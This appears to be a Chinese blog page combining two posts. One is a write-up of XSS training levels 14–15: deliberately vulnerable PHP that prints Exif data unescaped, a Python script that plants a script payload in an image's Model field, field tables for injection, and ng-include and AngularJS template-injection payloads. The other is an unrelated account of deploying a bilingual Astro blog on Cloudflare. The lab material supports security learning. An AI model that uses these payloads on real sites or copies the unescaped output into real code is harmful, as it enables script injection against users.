<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center>
    <h3>题目说明：此关卡考查 Exif XSS。</h3>
    <p>原题依赖的外部网站已挂，此处模拟了后端读取 Exif 的逻辑。</p>

    <form action="" method="post" enctype="multipart/form-data">
        <label>选择包含恶意 Exif 信息的图片：</label>
        <input type="file" name="file" />
        <input type="submit" value="上传并分析" />
    </form>
</center>

<?php
// 关闭错误显示，避免干扰
ini_set("display_errors", 0);

// 如果有文件上传
if(isset($_FILES["file"])) {
    // 简单的类型检查
    if ((($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg"))) {

        $filename = $_FILES["file"]["tmp_name"];

        // 【核心考点还原】
        // 使用 exif_read_data 读取元数据
        // 原题的漏洞在于：读取了 Exif 中的 Model (相机型号) 等字段后，未过滤直接 echo
        $exif = @exif_read_data($filename);

        echo "<center><br><h3>图片分析结果：</h3>";

        if($exif && isset($exif['Model'])) {
            // 漏洞点在这里：直接拼接输出，造成 XSS
            echo "相机型号: " . $exif['Model']; 
        } else {
            echo "未读取到相机型号信息 (Model)，请确保图片带有 Exif 数据。";
        }
        echo "</center>";
    }
}
?>

<center>
    <br><br>
    <div>(成功弹窗后，点击下方链接进入下一关)</div>
    <a href="level15.php">点我进level15</a>
</center>
</body>
</html>

图方便，这里也没有再写其他的过滤什么的了，自己想的话也可以，最终方法也和之前的关卡大差不差

3.然后我们不妨构造python 脚本来实现

import piexif
from PIL import Image

# 1. 设置 Payload
# 我们要在网页里执行 alert(1)，所以写入 <script>alert(1)</script>
# 注意：写入的位置是 Exif 中的 "Model" (相机型号) 字段
payload = '<script>alert("Level 14 Cracked")</script>'

# 2. 读取原始图片
img_filename = "a.jpg"  # 随便找张jpg图放在同级目录
output_filename = "hack.jpg"

try:
    img = Image.open(img_filename)

    # 3. 构造 Exif 数据
    # Tag 272 对应 Model 属性
    exif_dict = {"0th": {}, "Exif": {}, "GPS": {}, "1st": {}, "thumbnail": None}
    exif_dict["0th"][piexif.ImageIFD.Model] = payload.encode('utf-8')

    # 4. 生成字节流并保存
    exif_bytes = piexif.dump(exif_dict)
    img.save(output_filename, exif=exif_bytes)
    print(f"[+] 生成成功: {output_filename}")
    print("[+] Payload 已写入相机型号字段")

except Exception as e:
    print(f"[-] 出错了: {e}")

Exif 注入

核心概念

Exif 是什么：图片的“隐藏备注信息”（元数据），包含相机型号、拍摄时间、GPS等。存放在 JPG 文件头部。
注入原理：Exif 本质是文本。攻击者使用工具将“相机型号”等字段修改为 恶意代码（如 XSS Payload）。
触发条件：服务器端读取了图片 Exif 信息（如 exif_read_data()），并且没有过滤就直接显示在页面上或存入数据库。

攻击流程
制作：用 ExifTool 或 Python 脚本，将 Payload 写入图片字段。
上传：将“带毒”图片上传至目标网站。
执行：
- Stored XSS：当用户/管理员查看图片详情页时触发。
- SQL 注入：当后端将 Exif 信息存入数据库时触发（较少见）。

| 注入字段 (Tag Name) | 含义 | 推荐指数 | 原因 | | -------------------- | ------ | -------- | -------------------- | | Model | 相机型号 | ⭐⭐⭐⭐⭐ | 最常被读取和显示，Level 14 考点 | | Make | 相机制造商 | ⭐⭐⭐⭐⭐ | 常与 Model 一起被显示 | | ImageDescription | 图像描述 | ⭐⭐⭐⭐ | 允许字符较长，适合长 Payload | | UserComment | 用户注释 | ⭐⭐⭐⭐ | 专门留给用户写的，容量大 | | Artist | 摄影师/作者 | ⭐⭐⭐ | 有些相册程序会显示作者名 | | Copyright | 版权信息 | ⭐⭐⭐ | 通常显示在页面底部 |

第十五关

源码呈现

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

1.这关的核心技术是 AngularJS 的前端包含漏洞。

当然直接看网页源码也能看得出来

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>

2.ng-include 是什么？这是 AngularJS 的一个指令（Directive）。它的作用类似于 PHP 的 include，用来把外部的一个 HTML 文件抓取过来，并放到当前标签里显示。原本的设计意图：这关原本是接着 Level 14 的。作者想让你在 Level 14 上传一个含有 Payload 的图片（比如 1.jpg），然后在 Level 15 里引用它 (?src='1.jpg')。AngularJS 会把图片当成 HTML 代码执行。但是很遗憾14关坏掉了。

3.但是我们可以换个思路从第一关入手，我们可以如下构造

level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

为什么不用 <script>？因为 AngularJS 通过 ng-include 加载进来的 HTML，如果不做特殊处理，直接的 <script> 标签往往不会执行，但 <img> 标签的 onerror 事件是肯定会触发的

之所以这里经过了htmlspecialchars()还能够正常使用，通过ng-include 因为浏览器会自动处理实体编码 < 还原为字符给 JS 使用，或者作为 URL 参数发送

AngularJS

| 知识点 | 关键指令/符号 | 作用 (正常功能) | CTF/安全考点 (黑客视角) | 典型 Payload / 场景 | | -------------- | ---------------------------- | ------------------------------ | ---------------------------------------------------- | ------------------------------------------------- | | 启动指令 | ng-app | 定义 Angular 应用的根元素，告诉框架从这里开始解析。 | 如果页面没开 Angular，你可以注入这个属性强制开启，从而进行后续攻击。 | <html ng-app> | | 文件包含 | ng-include | 加载外部 HTML 片段并编译执行。 | 绕过本地过滤。将 XSS Payload 藏在另一个文件或 URL 中，利用此指令“借刀杀人”。 | <div ng-include="'level1.php?x=payload'"></div> | | 模板表达式 | {{ }} | 在 HTML 中输出变量或简单的计算结果。 | CSTI (模板注入)。利用特殊的构造绕过沙箱，执行任意 JS 代码。 | {{constructor.constructor('alert(1)')()}} | | 事件指令 | ng-clickng-mouseover | 绑定鼠标点击、悬停等事件。 | 类似于原生的 onclick，但属于 Angular 体系，有时能绕过对标准 HTML 事件的过滤。 | <div ng-mouseover="x=1"> | | 不安全 HTML | ng-bind-html | 将 HTML 内容绑定到元素上。 | 如果没有配合 $sce (严格上下文转义) 使用，会导致 DOM 型 XSS。 | <div ng-bind-html="user_input"> | | 过滤器 | \| | \| (管道符) | 格式化数据（如大小写转换、排序）。 | 有时用来混淆 Payload，或者在老版本中利用 orderBy 等过滤器进行沙箱逃逸。 | | No-Execute | ng-non-bindable | 告诉 Angular 不要解析该元素的内容。 | 防御手段。如果你看到这个，说明你的注入在这块区域会失效。 | <span ng-non-bindable>{{1+1}}</span> |

踩坑记录：我是如何把这个双语博客折腾出来的

Mon, 22 Dec 2025 22:41:00 GMT

如果你看到了这篇文章，说明我已经成功了。🎉

看着现在这个运行流畅、中英文切换丝滑的博客，你可能想象不到，就在几个小时前，我还在对着满屏的报错日志怀疑人生。

这篇文章不聊高深的技术，纯粹记录一下我是如何把 Astro Pure 主题魔改成一个部署在 Cloudflare 上的双语（中/英）独立站点的。如果你也想搞一个类似的双语博客。

1. 架构设想：一分为二

最开始我就决定了，不要搞复杂的国际化路由（i18n routing），太麻烦。我的需求很简单粗暴：

中文站：zh.maxtonniu.com
英文站：en.maxtonniu.com
部署：Cloudflare Pages（免费又快，还不用备案）

于是我建立了两个 GitHub 仓库，分别对应两个站点。听起来很完美，对吧？噩梦开始了。

2. 第一个坑：同构路由跳转 (Magic Switch)

有了两个域名，最大的问题是：我在中文站看关于页 /about，点了 "English" 按钮，怎么自动跳到英文站的 /about，而不是傻傻地跳回英文首页？

由于 Astro Pure 主题的 Header 组件藏得很深（或者说为了不破坏源码），我不想去改组件代码。

解决方案：暗号拦截法

我在 site.config.ts 里把切换按钮的链接填成了一个“暗号”：#switch-lang。

然后，我在全局布局文件 BaseLayout.astro 的底部注入了一段魔法脚本：

// 脚本逻辑：找到暗号链接，自动拼接当前路径
const targetDomain = '[https://en.maxtonniu.com](https://en.maxtonniu.com)'; // 英文站填这个

document.addEventListener('DOMContentLoaded', () => {
  const langBtn = document.querySelector('a[href="#switch-lang"]');
  if (langBtn) {
    // 自动把 #switch-lang 替换成 [https://en.maxtonniu.com/当前路径](https://en.maxtonniu.com/当前路径)
    langBtn.href = targetDomain + window.location.pathname;
  }
});

这样，无论我在哪个页面，点击按钮都能精准穿越到另一个平行宇宙。

3.第二个坑：模式切换

解决了跳转，又来了个新问题：浏览器的 localStorage 是按域名隔离的。

我在中文站开了“深色模式”，一跳到英文站，瞎了——英文站还是默认的“亮色模式”。这体验太割裂了。

解决方案：URL 传参接力

我修改了上面的脚本，在跳转时偷偷在 URL 屁股后面带了个参数：?sync_theme=dark。

然后在页面加载的最早期（<head> 标签里），写了一段脚本来“接球”：

// 检查 URL 有没有带主题参数
const params = new URLSearchParams(window.location.search);
const theme = params.get('sync_theme');

if (theme) {
  // 强制写入本地存储
  localStorage.setItem('theme', theme);
  // 立即给 html 标签加上 dark 类，防止闪烁
  document.documentElement.classList.add('dark');
}

现在，主题就像接力棒一样在两个域名之间传递，丝般顺滑。

4.第三个坑：“幽灵文件”

本地运行 npm run dev 一切正常，一推送到 Cloudflare 就报错：

[vite]: Rollup failed to resolve import "@/assets/tools/zotero.svg?raw"

原因是我删掉了主题自带的示例图片 zotero.svg，但在代码里忘了删引用。教训：本地开发环境是“懒加载”的，不报错不代表没问题；线上构建是“地毯式搜索”，眼里容不得沙子。删了资源，一定要记得删引用！

5.最终 Boss：灰色的 404

经历了九九八十一难，终于显示 Success: Uploaded。我激动的打开网址，结果：

404 Not Found (Astro 默认的灰色页面)

但我明明上传了代码啊！为什么首页是空的？

排查了半天，发现控制台日志里有一行刺眼的信息： [build] adapter: @astrojs/vercel

破案了！ 我复制的配置代码里，居然残留着 adapter: vercel()。这相当于我把代码打包成了 Vercel 专用 的格式（Serverless Functions），然后硬塞给了 Cloudflare Pages。Cloudflare 看不懂这些代码，找不到 index.html，只能两手一摊。

终极修复： 修改 astro.config.mjs，删掉 Vercel 适配器，回归纯真：

export default defineConfig({
  // 删掉 adapter: vercel()
  output: 'static', // 告诉 Astro，我要纯纯的静态网页！
  // ...
});

推送到 GitHub，Cloudflare 重新构建，绿色的 Success 再次亮起。这一次，页面出现了。

以上由Gemini代本人亲情书写